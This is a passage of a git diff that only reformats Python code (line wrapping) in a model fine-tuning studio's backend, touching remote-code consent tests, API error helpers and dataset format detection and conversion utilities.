-        assert "trust_remote_code" not in flat, f"{name} should not set trust_remote_code"
+        assert (
+            "trust_remote_code" not in flat
+        ), f"{name} should not set trust_remote_code"
 
 
 def test_loader_defaults_trust_remote_code_off_for_formerly_flagged_models():
@@ -138,7 +144,9 @@ def test_formerly_flagged_auto_map_models_still_require_consent_dialog():
         "unsloth/ERNIE-4.5-VL-28B-A3B-PT",
     ):
         with (
-            patch.object(consent, "_load_remote_code_configs", return_value = auto_map_cfg),
+            patch.object(
+                consent, "_load_remote_code_configs", return_value = auto_map_cfg
+            ),
             patch.object(consent, "repo_remote_code_files", return_value = benign_py),
         ):
             decision = preflight_remote_code_consent_for_targets([model], hf_token = None)
@@ -155,7 +163,9 @@ def test_no_auto_map_model_takes_no_dialog():
     from utils.security import consent, preflight_remote_code_consent_for_targets
 
     with patch.object(
-        consent, "_load_remote_code_configs", return_value = [{"model_type": "glm4_moe_lite"}]
+        consent,
+        "_load_remote_code_configs",
+        return_value = [{"model_type": "glm4_moe_lite"}],
     ):
         decision = preflight_remote_code_consent_for_targets(
             ["unsloth/GLM-4.7-Flash"], hf_token = None
diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.py
index a3686c3a26..71dc7e8927 100644
--- a/studio/backend/utils/api_errors.py
+++ b/studio/backend/utils/api_errors.py
@@ -148,7 +148,9 @@ def error_body_for_path(
     """
     if is_anthropic_path(path):
         return anthropic_error_body(message, status = status, err_type = err_type)
-    return openai_error_body(message, status = status, err_type = err_type, code = code, param = param)
+    return openai_error_body(
+        message, status = status, err_type = err_type, code = code, param = param
+    )
 
 
 def _summarize_validation_errors(errors) -> tuple:
@@ -181,7 +183,11 @@ def _summarize_validation_errors(errors) -> tuple:
                 param = part
                 break
 
-    label = ".".join(str(p) for p in loc_parts) if loc_parts else ".".join(str(p) for p in loc)
+    label = (
+        ".".join(str(p) for p in loc_parts)
+        if loc_parts
+        else ".".join(str(p) for p in loc)
+    )
     summary = f"{label}: {msg}" if label else str(msg)
     return summary, param
 
@@ -221,7 +227,9 @@ def install_api_error_handlers(app) -> None:
         if wants_api_error_envelope(path):
             detail = exc.detail
             # Already a fully-formed envelope: pass through untouched.
-            if isinstance(detail, dict) and ("error" in detail or detail.get("type") == "error"):
+            if isinstance(detail, dict) and (
+                "error" in detail or detail.get("type") == "error"
+            ):
                 return JSONResponse(
                     status_code = exc.status_code,
                     content = detail,
diff --git a/studio/backend/utils/cache_cleanup.py b/studio/backend/utils/cache_cleanup.py
index 210735973d..ede6047fcc 100644
--- a/studio/backend/utils/cache_cleanup.py
+++ b/studio/backend/utils/cache_cleanup.py
@@ -72,7 +72,8 @@ def clear_unsloth_compiled_cache(preserve_patterns: Optional[List[str]] = None)
 
         if preserve_patterns:
             logger.info(
-                f"Cleaning unsloth compiled cache (preserving {preserve_patterns}): " f"{cache_dir}"
+                f"Cleaning unsloth compiled cache (preserving {preserve_patterns}): "
+                f"{cache_dir}"
             )
 
             for item in cache_dir.iterdir():
diff --git a/studio/backend/utils/client_ip.py b/studio/backend/utils/client_ip.py
index cc48a096d2..0a3283d413 100644
--- a/studio/backend/utils/client_ip.py
+++ b/studio/backend/utils/client_ip.py
@@ -27,7 +27,11 @@ _TRUST_FORWARDED_ENV = "UNSLOTH_STUDIO_TRUST_FORWARDED"
 
 
 def _trust_forwarded_for() -> bool:
-    return os.environ.get(_TRUST_FORWARDED_ENV, "").strip().lower() in {"1", "true", "yes"}
+    return os.environ.get(_TRUST_FORWARDED_ENV, "").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+    }
 
 
 def _is_loopback(host: str | None) -> bool:
diff --git a/studio/backend/utils/coding_agents.py b/studio/backend/utils/coding_agents.py
index f7dd2f8357..a3ba72eabf 100644
--- a/studio/backend/utils/coding_agents.py
+++ b/studio/backend/utils/coding_agents.py
@@ -16,7 +16,14 @@ import shutil
 # unsloth_cli/commands/start.py. Each entry is the exact executable name that
 # subcommand launches, so a hit here means `unsloth start ` can find the
 # binary on PATH without the user installing anything first.
-CODING_AGENTS: tuple[str, ...] = ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+CODING_AGENTS: tuple[str, ...] = (
+    "claude",
+    "codex",
+    "openclaw",
+    "opencode",
+    "hermes",
+    "pi",
+)
 
 
 def _is_on_path(agent: str) -> bool:
diff --git a/studio/backend/utils/datasets/completion_masking.py b/studio/backend/utils/datasets/completion_masking.py
index c7c4a474e3..06d8c2ab7a 100644
--- a/studio/backend/utils/datasets/completion_masking.py
+++ b/studio/backend/utils/datasets/completion_masking.py
@@ -79,7 +79,9 @@ def apply_completion_masking(
             template = "gpt-oss"
             instruction_part = markers["instruction"]
             response_part = markers["response"]
-    processor = getattr(trainer, "processing_class", None) or getattr(trainer, "tokenizer", None)
+    processor = getattr(trainer, "processing_class", None) or getattr(
+        trainer, "tokenizer", None
+    )
     # mlx-lm TokenizerWrapper hides underscore attrs, so preset _unsloth_*
     # markers are invisible through it. Unwrap to the real tokenizer (as
     # zoo's MLX resolver does) before the preset check and detection.
diff --git a/studio/backend/utils/datasets/data_collators.py b/studio/backend/utils/datasets/data_collators.py
index 9bfb60ba17..73d66a2ee4 100644
--- a/studio/backend/utils/datasets/data_collators.py
+++ b/studio/backend/utils/datasets/data_collators.py
@@ -23,13 +23,19 @@ class DataCollatorSpeechSeq2SeqWithPadding:
     processor: Any
 
     def __call__(self, features: List[dict]) -> dict:
-        input_features = [{"input_features": feature["input_features"]} for feature in features]
-        batch = self.processor.feature_extractor.pad(input_features, return_tensors = "pt")
+        input_features = [
+            {"input_features": feature["input_features"]} for feature in features
+        ]
+        batch = self.processor.feature_extractor.pad(
+            input_features, return_tensors = "pt"
+        )
 
         label_features = [{"input_ids": feature["labels"]} for feature in features]
         labels_batch = self.processor.tokenizer.pad(label_features, return_tensors = "pt")
 
-        labels = labels_batch["input_ids"].masked_fill(labels_batch.attention_mask.ne(1), -100)
+        labels = labels_batch["input_ids"].masked_fill(
+            labels_batch.attention_mask.ne(1), -100
+        )
 
         if (labels[:, 0] == self.processor.tokenizer.bos_token_id).all().cpu().item():
             labels = labels[:, 1:]
@@ -136,7 +142,9 @@ class VLMDataCollator:
                                 all_images.append(img)
 
         texts = [
-            self.processor.apply_chat_template(msgs, tokenize = False, add_generation_prompt = False)
+            self.processor.apply_chat_template(
+                msgs, tokenize = False, add_generation_prompt = False
+            )
             for msgs in all_messages
         ]
 
diff --git a/studio/backend/utils/datasets/dataset_none_detect.py b/studio/backend/utils/datasets/dataset_none_detect.py
index a2fd8ef667..7fb39c6526 100644
--- a/studio/backend/utils/datasets/dataset_none_detect.py
+++ b/studio/backend/utils/datasets/dataset_none_detect.py
@@ -71,7 +71,9 @@ def _probe_conversation(dataset: Dataset, candidates = None):
             # No usable dict turn in 100 rows. Record an all_corrupt fallback,
             # plausible only with turn-shaped data (None cell or list of dict/None
             # turns); a later plausible candidate upgrades a non-plausible one.
-            if all_corrupt_fallback is None or not all_corrupt_fallback.get("has_plausible_turns"):
+            if all_corrupt_fallback is None or not all_corrupt_fallback.get(
+                "has_plausible_turns"
+            ):
                 has_plausible_turns = False
                 for i in range(min(len(dataset), 100)):
                     cell = dataset[i][col]
@@ -116,7 +118,9 @@ def _probe_conversation(dataset: Dataset, candidates = None):
         _CONV_KEYS = {"role", "from", "content", "value"}
         if not any(keys <= turn_keys for keys in _CHAT_KEY_SETS):
             schema_less_plausible = bool(turn_keys & _CONV_KEYS)
-            if all_corrupt_fallback is None or not all_corrupt_fallback.get("has_plausible_turns"):
+            if all_corrupt_fallback is None or not all_corrupt_fallback.get(
+                "has_plausible_turns"
+            ):
                 all_corrupt_fallback = {
                     "column": col,
                     "turn_keys": turn_keys,
@@ -159,11 +163,14 @@ def is_none_or_empty(value) -> bool:
         non_text_blocks = [item for item in dict_blocks if item.get("type") != "text"]
         if non_text_blocks:
             return False
-        text_values = [item.get("text") for item in dict_blocks if item.get("type") == "text"]
+        text_values = [
+            item.get("text") for item in dict_blocks if item.get("type") == "text"
+        ]
         if text_values and all(
             t is None
             or (
-                isinstance(t, str) and not t.strip().strip("\ufeff\u200b\u200c\u200d\u2060").strip()
+                isinstance(t, str)
+                and not t.strip().strip("\ufeff\u200b\u200c\u200d\u2060").strip()
             )
             for t in text_values
         ):
@@ -274,7 +281,9 @@ def find_none_chatml(dataset: Dataset, col: str = None) -> dict:
             stats["rows_with_none_turns"] += 1
             stats["total_none_turns"] += 1
             stats["rows_all_none"] += 1
-            stats["none_by_role"]["unknown"] = stats["none_by_role"].get("unknown", 0) + 1
+            stats["none_by_role"]["unknown"] = (
+                stats["none_by_role"].get("unknown", 0) + 1
+            )
             stats["none_by_type"][vtype] = stats["none_by_type"].get(vtype, 0) + 1
             stats["findings"].append(
                 {
@@ -293,7 +302,9 @@ def find_none_chatml(dataset: Dataset, col: str = None) -> dict:
             stats["rows_with_none_turns"] += 1
             stats["total_none_turns"] += 1
             stats["rows_all_none"] += 1
-            stats["none_by_role"]["unknown"] = stats["none_by_role"].get("unknown", 0) + 1
+            stats["none_by_role"]["unknown"] = (
+                stats["none_by_role"].get("unknown", 0) + 1
+            )
             stats["none_by_type"]["empty_conversation"] = (
                 stats["none_by_type"].get("empty_conversation", 0) + 1
             )
@@ -321,7 +332,9 @@ def find_none_chatml(dataset: Dataset, col: str = None) -> dict:
                         "raw_value": repr(turn),
                     }
                 )
-                stats["none_by_role"]["unknown"] = stats["none_by_role"].get("unknown", 0) + 1
+                stats["none_by_role"]["unknown"] = (
+                    stats["none_by_role"].get("unknown", 0) + 1
+                )
                 vtype = "None" if turn is None else "invalid_type"
                 stats["none_by_type"][vtype] = stats["none_by_type"].get(vtype, 0) + 1
                 continue
@@ -342,14 +355,20 @@ def find_none_chatml(dataset: Dataset, col: str = None) -> dict:
             if "from" in turn and "value" in turn:
                 content = turn.get("value")
             elif "role" in turn:
-                content = turn.get("content") if "content" in turn else turn.get("value")
+                content = (
+                    turn.get("content") if "content" in turn else turn.get("value")
+                )
             elif "from" in turn:
                 content = turn.get("value")
             else:
-                content = turn.get("content") if "content" in turn else turn.get("value")
+                content = (
+                    turn.get("content") if "content" in turn else turn.get("value")
+                )
             # Assistant tool-call turns carry empty content + tool_calls and are
             # valid; the exemption is assistant-only.
-            if is_none_or_empty(content) and not (role == "assistant" and turn.get("tool_calls")):
+            if is_none_or_empty(content) and not (
+                role == "assistant" and turn.get("tool_calls")
+            ):
                 vtype = _classify_empty(content)
                 row_findings.append(
                     {
@@ -446,7 +465,9 @@ FORMAT_REGISTRY = [
     },
     {
         "name": "sharegpt",
-        "match": lambda ds, conv: (conv is not None and {"from", "value"} <= conv["turn_keys"]),
+        "match": lambda ds, conv: (
+            conv is not None and {"from", "value"} <= conv["turn_keys"]
+        ),
         "scan": find_none_sharegpt,
     },
     {
@@ -731,7 +752,9 @@ def show_row(
                     # Mirror scanner: tool_calls exemption is assistant-only;
                     # other roles with empty content + tool_calls are still bad.
                     r = t.get("role") if t.get("role") is not None else t.get("from")
-                    if is_none_or_empty(c) and not (str(r) == "assistant" and t.get("tool_calls")):
+                    if is_none_or_empty(c) and not (
+                        str(r) == "assistant" and t.get("tool_calls")
+                    ):
                         return True
                     return False
 
@@ -752,11 +775,19 @@ def show_row(
                     if "from" in turn and "value" in turn:
                         content = turn.get("value")
                     elif "role" in turn:
-                        content = turn.get("content") if "content" in turn else turn.get("value")
+                        content = (
+                            turn.get("content")
+                            if "content" in turn
+                            else turn.get("value")
+                        )
                     elif "from" in turn:
                         content = turn.get("value")
                     else:
-                        content = turn.get("content") if "content" in turn else turn.get("value")
+                        content = (
+                            turn.get("content")
+                            if "content" in turn
+                            else turn.get("value")
+                        )
                     if is_none_or_empty(content) and not (
                         role == "assistant" and turn.get("tool_calls")
                     ):
@@ -798,8 +829,12 @@ examples:
   python dataset_none_detect.py org/my-dataset --token hf_...
         """,
     )
-    parser.add_argument("dataset", help = "HuggingFace dataset repo id (e.g. org/my-dataset)")
-    parser.add_argument("--split", default = "train", help = "Dataset split to load (default: train)")
+    parser.add_argument(
+        "dataset", help = "HuggingFace dataset repo id (e.g. org/my-dataset)"
+    )
+    parser.add_argument(
+        "--split", default = "train", help = "Dataset split to load (default: train)"
+    )
     parser.add_argument(
         "--format",
         default = "auto",
diff --git a/studio/backend/utils/datasets/dataset_utils.py b/studio/backend/utils/datasets/dataset_utils.py
index f81a20ad6e..a06529585d 100644
--- a/studio/backend/utils/datasets/dataset_utils.py
+++ b/studio/backend/utils/datasets/dataset_utils.py
@@ -341,7 +341,9 @@ def _apply_template_mapping(
             user_parts = []
             for col in role_groups["user"]:
                 if col in examples:
-                    user_parts.append(_extract_column_value(examples[col][i], col, label_mapping))
+                    user_parts.append(
+                        _extract_column_value(examples[col][i], col, label_mapping)
+                    )
             if user_parts:
                 convo.append({"role": "user", "content": "\n".join(user_parts)})
 
@@ -349,7 +351,9 @@ def _apply_template_mapping(
             asst_parts = []
             for col in role_groups["assistant"]:
                 if col in examples:
-                    asst_parts.append(_extract_column_value(examples[col][i], col, label_mapping))
+                    asst_parts.append(
+                        _extract_column_value(examples[col][i], col, label_mapping)
+                    )
             if asst_parts:
                 convo.append({"role": "assistant", "content": "\n".join(asst_parts)})
 
@@ -399,7 +403,11 @@ def _apply_user_mapping_alpaca(
                 ("output", outputs),
             ):
                 col = col_for[field]
-                val = str(examples[col][i]) if col and col in examples and examples[col][i] else ""
+                val = (
+                    str(examples[col][i])
+                    if col and col in examples and examples[col][i]
+                    else ""
+                )
                 dest.append(val)
         return {"instruction": instructions, "input": inputs, "output": outputs}
 
@@ -477,7 +485,9 @@ def format_dataset(
             else:
                 # auto / chatml / sharegpt / conversational all produce chatml
                 # conversations (sharegpt standardized to role/content internally)
-                mapped_dataset = _apply_user_mapping(dataset, custom_format_mapping, batch_size)
+                mapped_dataset = _apply_user_mapping(
+                    dataset, custom_format_mapping, batch_size
+                )
                 final_format = "chatml_conversations"
                 chat_column = "conversations"
 
@@ -574,7 +584,9 @@ def format_dataset(
         elif detected["format"] == "chatml" and detected.get("chat_column"):
             return {
                 "dataset": dataset,
-                "detected_format": _chatml_detected_format_label(detected["chat_column"]),
+                "detected_format": _chatml_detected_format_label(
+                    detected["chat_column"]
+                ),
                 "final_format": _chatml_final_format(detected["chat_column"]),
                 "chat_column": detected["chat_column"],
                 "is_standardized": True,
@@ -586,7 +598,9 @@ def format_dataset(
 
         # Unknown - try standardization, pass as-is on failure
         else:
-            warnings.append(f"Unknown format detected. Keys found: {detected['sample_keys']}")
+            warnings.append(
+                f"Unknown format detected. Keys found: {detected['sample_keys']}"
+            )
 
             # Try heuristic detection
             if auto_detect_custom:
@@ -612,7 +626,9 @@ def format_dataset(
                                     if role == target_role and col_name in examples:
                                         content = examples[col_name][i]
                                         if content and str(content).strip():
-                                            convo.append({"role": role, "content": str(content)})
+                                            convo.append(
+                                                {"role": role, "content": str(content)}
+                                            )
                             conversations.append(convo)
 
                         return {"conversations": conversations, **preserved_columns}
@@ -661,7 +677,9 @@ def format_dataset(
                         "warnings": warnings,
                     }
                 except Exception as e:
-                    warnings.append(f"Could not standardize: {e}. Passing dataset as-is.")
+                    warnings.append(
+                        f"Could not standardize: {e}. Passing dataset as-is."
+                    )
 
             # Return as-is with warnings
             return {
@@ -691,7 +709,9 @@ def format_dataset(
                 "warnings": [],
             }
 
-        elif detected["format"] in ["sharegpt", "chatml"] and detected.get("chat_column"):
+        elif detected["format"] in ["sharegpt", "chatml"] and detected.get(
+            "chat_column"
+        ):
             try:
                 # First standardize if ShareGPT
                 if detected["format"] == "sharegpt":
@@ -808,7 +828,9 @@ def format_dataset(
         elif detected["format"] == "chatml" and detected.get("chat_column"):
             return {
                 "dataset": dataset,
-                "detected_format": _chatml_detected_format_label(detected["chat_column"]),
+                "detected_format": _chatml_detected_format_label(
+                    detected["chat_column"]
+                ),
                 "final_format": _chatml_final_format(detected["chat_column"]),
                 "chat_column": detected["chat_column"],
                 "is_standardized": True,
@@ -966,7 +988,9 @@ def format_and_template_dataset(
                         f"text='{user_vlm_text_column}') failed: {e} — "
                         f"falling back to auto-detection"
                     )
-                    logger.info(f"⚠️ User VLM mapping failed, falling back to auto-detection...")
+                    logger.info(
+                        f"⚠️ User VLM mapping failed, falling back to auto-detection..."
+                    )
                     custom_format_mapping = None  # so auto-detection runs below
             else:
                 errors.append(
@@ -1020,7 +1044,9 @@ def format_and_template_dataset(
                     dataset_name = dataset_name,
                     progress_callback = progress_callback,
                 )
-                warnings.append("Converted from ShareGPT+image format to standard VLM format")
+                warnings.append(
+                    "Converted from ShareGPT+image format to standard VLM format"
+                )
             except Exception as e:
                 errors.append(f"Failed to convert ShareGPT+image format: {e}")
                 import traceback
@@ -1088,9 +1114,13 @@ def format_and_template_dataset(
                 )
 
                 if vlm_instruction:
-                    warnings.append(f"Using user-provided instruction: '{vlm_instruction}'")
+                    warnings.append(
+                        f"Using user-provided instruction: '{vlm_instruction}'"
+                    )
                 else:
-                    warnings.append("Auto-generated instruction based on dataset analysis")
+                    warnings.append(
+                        "Auto-generated instruction based on dataset analysis"
+                    )
 
             except Exception as e:
                 errors.append(f"Failed to convert to VLM format: {e}")
@@ -1195,7 +1225,9 @@ def format_and_template_dataset(
         summary = get_dataset_info_summary(dataset_info)
 
         # Combine results
-        all_warnings = dataset_info.get("warnings", []) + template_result.get("warnings", [])
+        all_warnings = dataset_info.get("warnings", []) + template_result.get(
+            "warnings", []
+        )
         all_errors = template_result.get("errors", [])
 
         # If apply_chat_template rescued an "unknown" format, update final_format.
diff --git a/studio/backend/utils/datasets/format_conversion.py b/studio/backend/utils/datasets/format_conversion.py
index 95c9a00534..88a58e2b0c 100644
--- a/studio/backend/utils/datasets/format_conversion.py
+++ b/studio/backend/utils/datasets/format_conversion.py
@@ -99,7 +99,9 @@ def standardize_chat_format(
             role_key = keys[1]
             content_key = keys[0]
     else:
-        raise ValueError(f"Could not infer role/content keys for chat column '{chat_column}'")
+        raise ValueError(
+            f"Could not infer role/content keys for chat column '{chat_column}'"
+        )
 
     # Mapping for aliases
     aliases_mapping = {}
@@ -130,7 +132,9 @@ def standardize_chat_format(
                 if original_role is None:
                     original_role = message.get("role") or message.get("from") or ""
                 if original_content is None:
-                    original_content = message.get("content") or message.get("value") or ""
+                    original_content = (
+                        message.get("content") or message.get("value") or ""
+                    )
 
                 standard_role = aliases_mapping.get(original_role, original_role)
 
@@ -196,11 +200,15 @@ def convert_chatml_to_alpaca(
         chatml_data = examples.get(chat_column) if chat_column else None
         if chatml_data is None:
             chatml_data = (
-                examples.get("messages") or examples.get("conversations") or examples.get("texts")
+                examples.get("messages")
+                or examples.get("conversations")
+                or examples.get("texts")
             )
 
         if chatml_data is None:
-            raise ValueError("No 'messages' or 'conversations' or 'texts' column found.")
+            raise ValueError(
+                "No 'messages' or 'conversations' or 'texts' column found."
+            )
 
         instructions = []
         outputs = []
@@ -382,12 +390,16 @@ def convert_to_vlm_format(
         instruction_column = instruction_info.get("instruction_column")
         uses_dynamic = instruction_info["uses_dynamic_instruction"]
 
-        logger.info(f"📝 Auto-detected instruction type: {instruction_info['instruction_type']}")
+        logger.info(
+            f"📝 Auto-detected instruction type: {instruction_info['instruction_type']}"
+        )
         logger.info(f"📝 Confidence: {instruction_info['confidence']:.2f}")
         if not uses_dynamic:
             logger.info(f"📝 Using instruction: '{instruction}'")
         else:
-            logger.info(f"📝 Using dynamic instructions from column: '{instruction_column}'")
+            logger.info(
+                f"📝 Using dynamic instructions from column: '{instruction_column}'"
+            )
     else:
         instruction_column = None
         uses_dynamic = False
@@ -442,7 +454,9 @@ def convert_to_vlm_format(
 
     total = len(dataset)
     first_image = next(iter(dataset))[image_column]
-    has_urls = isinstance(first_image, str) and first_image.startswith(("http://", "https://"))
+    has_urls = isinstance(first_image, str) and first_image.startswith(
+        ("http://", "https://")
+    )
 
     # ── Bare-filename detection: build a basename→repo_path lookup so
     #    filename-only images resolve via hf_hub_download during conversion.
@@ -491,7 +505,9 @@ def convert_to_vlm_format(
 
         num_workers = safe_thread_num_proc()
         _notify(f"Probing {PROBE_SIZE} image URLs with {num_workers} workers...")
-        logger.info(f"🔍 Probing {PROBE_SIZE}/{total} image URLs with {num_workers} workers...")
+        logger.info(
+            f"🔍 Probing {PROBE_SIZE}/{total} image URLs with {num_workers} workers..."
+        )
 
         probe_samples = [dataset[i] for i in range(PROBE_SIZE)]
         probe_ok = 0
@@ -499,7 +515,9 @@ def convert_to_vlm_format(
         probe_start = time.time()
 
         with ThreadPoolExecutor(max_workers = num_workers) as executor:
-            futures = {executor.submit(_convert_single_sample, s): s for s in probe_samples}
+            futures = {
+                executor.submit(_convert_single_sample, s): s for s in probe_samples
+            }
             for future in as_completed(futures):
                 try:
                     future.result()
@@ -591,7 +609,9 @@ def convert_to_vlm_format(
                     except Exception as e:
                         failed_count += 1
                         if failed_count == 1:
-                            logger.info(f"First VLM conversion failure: {type(e).__name__}: {e}")
+                            logger.info(
+                                f"First VLM conversion failure: {type(e).__name__}: {e}"
+                            )
 
             converted_list.extend(r for r in batch_results if r is not None)
 
@@ -616,7 +636,9 @@ def convert_to_vlm_format(
                 failed_count += 1
                 if failed_count == 1:
                     # Log the first failure to aid debugging
-                    logger.info(f"First VLM conversion failure: {type(e).__name__}: {e}")
+                    logger.info(
+                        f"First VLM conversion failure: {type(e).__name__}: {e}"
+                    )
             pbar.set_postfix(ok = len(converted_list), failed = failed_count, refresh = False)
         pbar.close()
 
@@ -782,7 +804,9 @@ def convert_sharegpt_with_images_to_vlm_format(
                 return Image.open(local_path).convert("RGB")
             else:
                 return Image.open(image_data).convert("RGB")
-        if isinstance(image_data, dict) and ("bytes" in image_data or "path" in image_data):
+        if isinstance(image_data, dict) and (
+            "bytes" in image_data or "path" in image_data
+        ):
             if image_data.get("bytes"):
                 from io import BytesIO
                 return Image.open(BytesIO(image_data["bytes"])).convert("RGB")
@@ -838,7 +862,9 @@ def convert_sharegpt_with_images_to_vlm_format(
     pbar.close()
 
     if failed_count > 0:
-        logger.info(f"⚠️ Skipped {failed_count}/{total} ({failed_count*100//total}%) samples")
+        logger.info(
+            f"⚠️ Skipped {failed_count}/{total} ({failed_count*100//total}%) samples"
+        )
 
     if len(converted_list) == 0:
         raise ValueError(
@@ -864,7 +890,9 @@ def convert_llava_to_vlm_format(dataset):
     """
     from PIL import Image
 
-    logger.info(f"🔄 Converting {len(dataset)} samples from Llava format to standard VLM format...")
+    logger.info(
+        f"🔄 Converting {len(dataset)} samples from Llava format to standard VLM format..."
+    )
 
     def _convert_single_sample(sample):
         """Convert one llava sample to standard VLM format."""
diff --git a/studio/backend/utils/datasets/format_detection.py b/studio/backend/utils/datasets/format_detection.py
index f5ea5ca138..cdc816235f 100644
--- a/studio/backend/utils/datasets/format_detection.py
+++ b/studio/backend/utils/datasets/format_detection.py
@@ -8,7 +8,10 @@ import re
 
 def _keyword_in_column(keyword: str, col_name: str) -> bool:
     """Word-boundary keyword match to avoid false positives like 'pic' in 'topic'."""
-    return re.search(r"\b" + re.escape(keyword) + r"\b", col_name, re.IGNORECASE) is not None
+    return (
+        re.search(r"\b" + re.escape(keyword) + r"\b", col_name, re.IGNORECASE)
+        is not None
+    )
 
 
 CONVERSATION_COLUMNS = ("messages", "conversations", "texts")
@@ -89,7 +92,9 @@ def _inspect_conversation_column(rows: list[dict], column_name: str) -> dict | N
     return None
 
 
-def _detect_conversation_column(rows: list[dict], column_names: list[str]) -> dict | None:
+def _detect_conversation_column(
+    rows: list[dict], column_names: list[str]
+) -> dict | None:
     column_name_set = set(column_names)
     unknown_exact = None
     for column_name in CONVERSATION_COLUMNS:
@@ -281,7 +286,10 @@ def detect_custom_format_heuristic(dataset):
             return True
 
         for pattern in metadata_prefix_patterns:
-            if col_lower.startswith(pattern.split("_")[0] + "_") and col_lower != pattern:
+            if (
+                col_lower.startswith(pattern.split("_")[0] + "_")
+                and col_lower != pattern
+            ):
                 if "_" in col_lower:
                     prefix = col_lower.split("_")[0]
                     if prefix in ["generation", "pass", "inference"]:
@@ -324,7 +332,9 @@ def detect_custom_format_heuristic(dataset):
         # Penalize ambiguous "task" so other user columns win.
         if role_type == "user":
             col_lower = col_name.lower()
-            if "task" in col_lower and not any(kw in col_lower for kw in user_words_high_priority):
+            if "task" in col_lower and not any(
+                kw in col_lower for kw in user_words_high_priority
+            ):
                 score -= 15
 
         priority_bonus = get_priority_score(col_name)
@@ -354,13 +364,17 @@ def detect_custom_format_heuristic(dataset):
 
     content_columns = [col for col in all_columns if not is_metadata(col)]
 
-    assistant_potential = [col for col in content_columns if has_keyword(col, assistant_words)]
+    assistant_potential = [
+        col for col in content_columns if has_keyword(col, assistant_words)
+    ]
     user_potential = [col for col in content_columns if has_keyword(col, user_words)]
 
     # STEP 1: best ASSISTANT column
     assistant_candidates = []
     for col in assistant_potential:
-        score = score_column(col, assistant_words, "assistant", len(assistant_potential))
+        score = score_column(
+            col, assistant_words, "assistant", len(assistant_potential)
+        )
         if score > 0:
             assistant_candidates.append((col, score))
 
@@ -664,7 +678,9 @@ def detect_vlm_dataset_structure(dataset):
                     if isinstance(content[0], dict) and "type" in content[0]:
                         # Llava format?
                         has_index = any(
-                            "index" in item for item in content if isinstance(item, dict)
+                            "index" in item
+                            for item in content
+                            if isinstance(item, dict)
                         )
                         has_images_column = "images" in column_names
 
@@ -679,7 +695,9 @@ def detect_vlm_dataset_structure(dataset):
 
                         # Standard VLM format
                         has_image = any(
-                            "image" in item for item in content if isinstance(item, dict)
+                            "image" in item
+                            for item in content
+                            if isinstance(item, dict)
                         )
                         if has_image:
                             return {
@@ -782,7 +800,9 @@ def detect_vlm_dataset_structure(dataset):
 
         if any(col_lower.endswith(suffix) for suffix in metadata_patterns["suffixes"]):
             return True
-        if any(col_lower.startswith(prefix) for prefix in metadata_patterns["prefixes"]):
+        if any(
+            col_lower.startswith(prefix) for prefix in metadata_patterns["prefixes"]
+        ):
             return True
 
         return False
@@ -794,7 +814,9 @@ def detect_vlm_dataset_structure(dataset):
             return 100
 
         # HF Image feature dict.
-        if isinstance(sample_value, dict) and ("bytes" in sample_value or "path" in sample_value):
+        if isinstance(sample_value, dict) and (
+            "bytes" in sample_value or "path" in sample_value
+        ):
             return 75
 
         if isinstance(sample_value, str):
@@ -816,7 +838,9 @@ def detect_vlm_dataset_structure(dataset):
 
         # Local file — check it exists.
         if not sample_value.startswith(("http://", "https://")):
-            return os.path.exists(sample_value)  # bare filenames return False, that's OK
+            return os.path.exists(
+                sample_value
+            )  # bare filenames return False, that's OK
 
         # URL — quick HEAD with short timeout.
         try:
diff --git a/studio/backend/utils/datasets/llm_assist.py b/studio/backend/utils/datasets/llm_assist.py
index f7b35e2869..85a67724b2 100644
--- a/studio/backend/utils/datasets/llm_assist.py
+++ b/studio/backend/utils/datasets/llm_assist.py
@@ -53,7 +53,9 @@ def precache_helper_gguf():
         return
 
     repo = os.environ.get("UNSLOTH_HELPER_MODEL_REPO", DEFAULT_HELPER_MODEL_REPO)
-    variant = os.environ.get("UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT)
+    variant = os.environ.get(
+        "UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT
+    )
 
     try:
         from huggingface_hub import HfApi, hf_hub_download
@@ -68,7 +70,9 @@ def precache_helper_gguf():
 
         # GGUF files matching the variant (may be split into shards).
         variant_lower = variant.lower().replace("-", "_")
-        matching = sorted(f for f in gguf_files if variant_lower in f.lower().replace("-", "_"))
+        matching = sorted(
+            f for f in gguf_files if variant_lower in f.lower().replace("-", "_")
+        )
 
         if matching:
             logger.info(
@@ -95,7 +99,9 @@ def _run_with_helper(prompt: str, max_tokens: int = 256) -> Optional[str]:
         return None
 
     repo = os.environ.get("UNSLOTH_HELPER_MODEL_REPO", DEFAULT_HELPER_MODEL_REPO)
-    variant = os.environ.get("UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT)
+    variant = os.environ.get(
+        "UNSLOTH_HELPER_MODEL_VARIANT", DEFAULT_HELPER_MODEL_VARIANT
+    )
 
     backend = None
     try:
@@ -117,7 +123,9 @@ def _run_with_helper(prompt: str, max_tokens: int = 256) -> Optional[str]:
             return None
 
         messages = [{"role": "user", "content": prompt}]
-        logger.info("Helper model request: enable_thinking=False (per-request override)")
+        logger.info(
+            "Helper model request: enable_thinking=False (per-request override)"
+        )
         cumulative = ""
         for chunk in backend.generate_chat_completion(
             messages = messages,
@@ -200,7 +208,9 @@ def llm_generate_vlm_instruction(
     }
 
 
-def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Optional[dict[str, str]]:
+def llm_classify_columns(
+    column_names: list[str], samples: list[dict]
+) -> Optional[dict[str, str]]:
     """Ask a helper LLM to classify columns into roles (when heuristic detection fails).
 
     Returns {column_name: role} for roles user|assistant|system|metadata, or None.
@@ -258,7 +268,11 @@ def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Option
     valid_roles = {"user", "assistant", "system", "metadata"}
     cleaned = {}
     for col, role in mapping.items():
-        if col in column_names and isinstance(role, str) and role.lower() in valid_roles:
+        if (
+            col in column_names
+            and isinstance(role, str)
+            and role.lower() in valid_roles
+        ):
             cleaned[col] = role.lower()
 
     if not cleaned:
@@ -409,7 +423,9 @@ def fetch_hf_dataset_card(
                 if val is not None:
                     metadata[key] = val
 
-        logger.info(f"Fetched dataset card: {len(readme)} chars, {len(metadata)} metadata fields")
+        logger.info(
+            f"Fetched dataset card: {len(readme)} chars, {len(metadata)} metadata fields"
+        )
         return readme, metadata
 
     except Exception as e:
@@ -435,7 +451,9 @@ def _run_multi_pass_advisor(
         return None
 
